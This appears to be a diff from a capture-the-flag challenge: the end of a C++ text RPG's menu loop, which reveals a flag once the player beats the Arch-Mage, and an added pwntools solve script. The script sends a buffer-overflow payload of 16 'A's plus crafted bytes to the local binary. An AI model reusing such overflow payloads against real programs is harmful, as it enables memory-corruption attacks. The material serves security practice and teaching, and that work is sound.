UserInterface::print("HP and MP restored.\n"); | |||
player.rest(); | |||
break; | |||
case 2: | |||
UserInterface::print("You practice your magic in the yard...\n"); | |||
UserInterface::print("You gained some experience.\n"); | |||
printf("%ld\n", player.getLevel()); | |||
fflush(stdout); | |||
player.increaseExperience((rand() % player.getLevel()) + 1); | |||
break; | |||
case 3: | |||
UserInterface::print("List of your classmates:\n"); | |||
UserInterface::enemiesInfo(enemies); | |||
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||
UserInterface::print("You are going to spar with:\n"); | |||
UserInterface::characterInfo(enemies.at(choiceInt)); | |||
UserInterface::print("Are you sure? (y/N)\n>"); | |||
std::cin >> choiceChar; | |||
if (choiceChar == 'y' || choiceChar == 'Y') | |||
{ | |||
Character enemy = Character(enemies.at(choiceInt)); | |||
Battle battle = Battle(player, enemy); | |||
battle.start(); | |||
if (battle.getWinner() == 1) | |||
{ | |||
UserInterface::print("You win, you get more experience...\n"); | |||
player.increaseExperience(enemies.at(choiceInt).getLevel()); | |||
} | |||
else | |||
{ | |||
UserInterface::print("You lose, but you still get some experience...\n"); | |||
player.revive(); | |||
player.increaseExperience(enemies.at(choiceInt).getLevel() / 2); | |||
} | |||
} | |||
else | |||
{ | |||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
player.rest(); | |||
} | |||
break; | |||
case 4: | |||
UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||
UserInterface::print("Are you sure? (y/N)\n>"); | |||
std::cin >> choiceChar; | |||
if (choiceChar == 'y' || choiceChar == 'Y') | |||
{ | |||
Battle battle = Battle(player, archMage); | |||
battle.start(); | |||
if (battle.getWinner() == 1) | |||
{ | |||
UserInterface::print("You win, you get more experience...\n"); | |||
player.increaseExperience(enemies.at(choiceInt).getLevel()); | |||
UserInterface::print("You win against the Arch-Mage!\n"); | |||
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||
UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||
UserInterface::print("Here is the content:\n"); | |||
UserInterface::print(flag + "\n"); | |||
} | |||
else | |||
{ | |||
UserInterface::print("You lose...\n"); | |||
UserInterface::print("Sadly his spell was to powerful,\n"); | |||
UserInterface::print("You got killed by the arch-mage...\n"); | |||
} | |||
} | |||
else | |||
{ | |||
UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||
player.rest(); | |||
} | |||
break; | |||
case 5: | |||
UserInterface::print("You found some info about the arch-mage:\n"); | |||
UserInterface::characterInfo(archMage); | |||
break; | |||
case 6: | |||
UserInterface::print("You meditate and got some insight to your ability:\n"); | |||
UserInterface::characterInfo(player); | |||
break; | |||
} | |||
UserInterface::nextDay(); | |||
} | |||
} |
@ -0,0 +1,18 @@ | |||
from pwn import * | |||
if __name__ == "__main__": | |||
p = process("./main") | |||
print p.recvuntil(">") | |||
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
print p.recvuntil(">") | |||
p.sendline("2") | |||
print p.recvuntil(">") | |||
p.sendline("4") | |||
print p.recvuntil(">") | |||
p.sendline("y") | |||
for i in xrange(99): | |||
print p.recvuntil(">") | |||
p.sendline("9") | |||
p.interactive() |